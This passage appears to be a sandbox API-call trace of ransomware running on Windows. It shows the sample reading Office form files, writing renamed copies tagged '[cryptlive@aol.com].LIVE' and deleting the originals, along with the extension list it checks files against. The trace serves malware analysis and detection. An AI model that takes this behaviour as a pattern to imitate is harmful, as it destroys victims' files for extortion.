[0156.780] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0156.781] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0156.782] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.782] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0156.783] SetEndOfFile (hFile=0x1f8) returned 1 [0156.783] CloseHandle (hObject=0x1f8) returned 1 [0156.783] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.783] SetEndOfFile (hFile=0x3a0) returned 1 [0156.785] CloseHandle (hObject=0x3a0) returned 1 [0156.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitems.ico")) returned 1 [0156.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.787] lstrlenW (lpString=".doc") returned 4 [0156.787] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.787] lstrlenW (lpString=".docx") returned 5 [0156.787] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.787] lstrlenW (lpString=".pdf") returned 4 [0156.787] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.787] lstrlenW (lpString=".xls") returned 4 [0156.787] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.787] lstrlenW (lpString=".xlsx") returned 5 [0156.787] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.787] lstrlenW (lpString=".ppt") returned 4 [0156.787] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.787] lstrlenW (lpString=".zip") returned 4 [0156.787] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.787] lstrlenW (lpString=".rar") returned 4 [0156.787] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.787] lstrlenW (lpString=".bz2") returned 4 [0156.787] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.787] lstrlenW (lpString=".7z") returned 3 [0156.787] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.787] lstrlenW (lpString=".dbf") returned 4 [0156.787] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.787] lstrlenW (lpString=".1cd") returned 4 [0156.787] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.787] lstrlenW (lpString=".jpg") returned 4 [0156.788] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.788] lstrlenW (lpString=".doc") returned 4 [0156.788] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.788] lstrlenW (lpString=".docx") returned 5 [0156.788] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.788] lstrlenW (lpString=".pdf") returned 4 [0156.788] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.788] lstrlenW (lpString=".xls") returned 4 [0156.788] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.788] lstrlenW (lpString=".xlsx") returned 5 [0156.788] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.788] lstrlenW (lpString=".ppt") returned 4 [0156.788] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.788] lstrlenW (lpString=".zip") returned 4 [0156.788] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.788] lstrlenW (lpString=".rar") returned 4 [0156.788] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.788] lstrlenW (lpString=".bz2") returned 4 [0156.788] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.788] lstrlenW (lpString=".7z") returned 3 [0156.788] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.788] lstrlenW (lpString=".dbf") returned 4 [0156.788] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.788] lstrlenW (lpString=".1cd") returned 4 [0156.788] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEMS.ICO") returned 65 [0156.788] lstrlenW (lpString=".jpg") returned 4 [0156.789] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.789] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0156.789] lstrlenW (lpString="INFOMAIL.CFG") returned 12 [0156.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.845] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=616) returned 1 [0156.845] CloseHandle (hObject=0x350) returned 1 [0156.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg")) returned 0x20 [0156.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.855] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.855] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0156.855] GetLastError () returned 0x0 [0156.855] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x268, lpOverlapped=0x0) returned 1 [0156.859] WriteFile (in: hFile=0x1dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x270, lpOverlapped=0x0) returned 1 [0156.860] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.860] WriteFile (in: hFile=0x1dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.860] SetEndOfFile (hFile=0x1dc) returned 1 [0156.860] CloseHandle (hObject=0x1dc) returned 1 [0156.860] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.860] SetEndOfFile (hFile=0x1b8) returned 1 [0156.864] CloseHandle (hObject=0x1b8) returned 1 [0156.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg")) returned 1 [0156.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.865] lstrlenW (lpString=".doc") returned 4 [0156.865] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.865] lstrlenW (lpString=".docx") returned 5 [0156.865] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0156.865] lstrlenW (lpString=".pdf") returned 4 [0156.865] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.865] lstrlenW (lpString=".xls") returned 4 [0156.865] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.865] lstrlenW (lpString=".xlsx") returned 5 [0156.865] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0156.865] lstrlenW (lpString=".ppt") returned 4 [0156.865] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.865] lstrlenW (lpString=".zip") returned 4 [0156.866] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.866] lstrlenW (lpString=".rar") returned 4 [0156.866] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.866] lstrlenW (lpString=".bz2") returned 4 [0156.866] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.866] lstrlenW (lpString=".7z") returned 3 [0156.866] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.866] lstrlenW (lpString=".dbf") returned 4 [0156.866] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.866] lstrlenW (lpString=".1cd") returned 4 [0156.866] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.866] lstrlenW (lpString=".jpg") returned 4 [0156.866] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.866] lstrlenW (lpString=".doc") returned 4 [0156.866] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.866] lstrlenW (lpString=".docx") returned 5 [0156.866] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0156.866] lstrlenW (lpString=".pdf") returned 4 [0156.866] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.866] lstrlenW (lpString=".xls") returned 4 [0156.866] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.866] lstrlenW (lpString=".xlsx") returned 5 [0156.866] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0156.866] lstrlenW (lpString=".ppt") returned 4 [0156.866] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.866] lstrlenW (lpString=".zip") returned 4 [0156.866] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.866] lstrlenW (lpString=".rar") returned 4 [0156.867] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.867] lstrlenW (lpString=".bz2") returned 4 [0156.867] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.867] lstrlenW (lpString=".7z") returned 3 [0156.867] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.867] lstrlenW (lpString=".dbf") returned 4 [0156.867] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.867] lstrlenW (lpString=".1cd") returned 4 [0156.867] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0156.867] lstrlenW (lpString=".jpg") returned 4 [0156.867] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.867] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0156.867] lstrlenW (lpString="IPM.CFG") returned 7 [0156.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.868] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=795) returned 1 [0156.868] CloseHandle (hObject=0x1b8) returned 1 [0156.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg")) returned 0x20 [0156.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.872] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.872] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0156.873] GetLastError () returned 0x0 [0156.873] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x31b, lpOverlapped=0x0) returned 1 [0156.926] WriteFile (in: hFile=0x1dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x320, lpOverlapped=0x0) returned 1 [0156.927] ReadFile (in: hFile=0x1b8, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.927] WriteFile (in: hFile=0x1dc, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0156.927] SetEndOfFile (hFile=0x1dc) returned 1 [0156.927] CloseHandle (hObject=0x1dc) returned 1 [0156.927] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.927] SetEndOfFile (hFile=0x1b8) returned 1 [0156.929] CloseHandle (hObject=0x1b8) returned 1 [0156.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg")) returned 1 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.967] lstrlenW (lpString=".doc") returned 4 [0156.967] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.967] lstrlenW (lpString=".docx") returned 5 [0156.967] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0156.967] lstrlenW (lpString=".pdf") returned 4 [0156.967] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.967] lstrlenW (lpString=".xls") returned 4 [0156.967] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.967] lstrlenW (lpString=".xlsx") returned 5 [0156.967] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0156.967] lstrlenW (lpString=".ppt") returned 4 [0156.967] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.967] lstrlenW (lpString=".zip") returned 4 [0156.967] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.967] lstrlenW (lpString=".rar") returned 4 [0156.967] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.967] lstrlenW (lpString=".bz2") returned 4 [0156.967] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.967] lstrlenW (lpString=".7z") returned 3 [0156.967] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.967] lstrlenW (lpString=".dbf") returned 4 [0156.967] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.967] lstrlenW (lpString=".1cd") returned 4 [0156.967] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.967] lstrlenW (lpString=".jpg") returned 4 [0156.967] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.967] lstrlenW (lpString=".doc") returned 4 [0156.967] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.968] lstrlenW (lpString=".docx") returned 5 [0156.968] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0156.968] lstrlenW (lpString=".pdf") returned 4 [0156.968] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.968] lstrlenW (lpString=".xls") returned 4 [0156.968] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.968] lstrlenW (lpString=".xlsx") returned 5 [0156.968] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0156.968] lstrlenW (lpString=".ppt") returned 4 [0156.968] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.968] lstrlenW (lpString=".zip") returned 4 [0156.968] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.968] lstrlenW (lpString=".rar") returned 4 [0156.968] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.968] lstrlenW (lpString=".bz2") returned 4 [0156.968] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.968] lstrlenW (lpString=".7z") returned 3 [0156.968] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.968] lstrlenW (lpString=".dbf") returned 4 [0156.968] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.968] lstrlenW (lpString=".1cd") returned 4 [0156.968] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG") returned 61 [0156.968] lstrlenW (lpString=".jpg") returned 4 [0156.968] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.968] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.968] lstrlenW (lpString="MMSS.ICO") returned 8 [0156.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.969] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2238) returned 1 [0156.970] CloseHandle (hObject=0x314) returned 1 [0156.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico")) returned 0x20 [0156.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.970] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.970] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\MMSS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\mmss.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0156.971] GetLastError () returned 0x0 [0156.971] ReadFile (in: hFile=0x314, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x8be, lpOverlapped=0x0) returned 1 [0156.972] WriteFile (in: hFile=0x1f8, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0156.973] ReadFile (in: hFile=0x314, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, 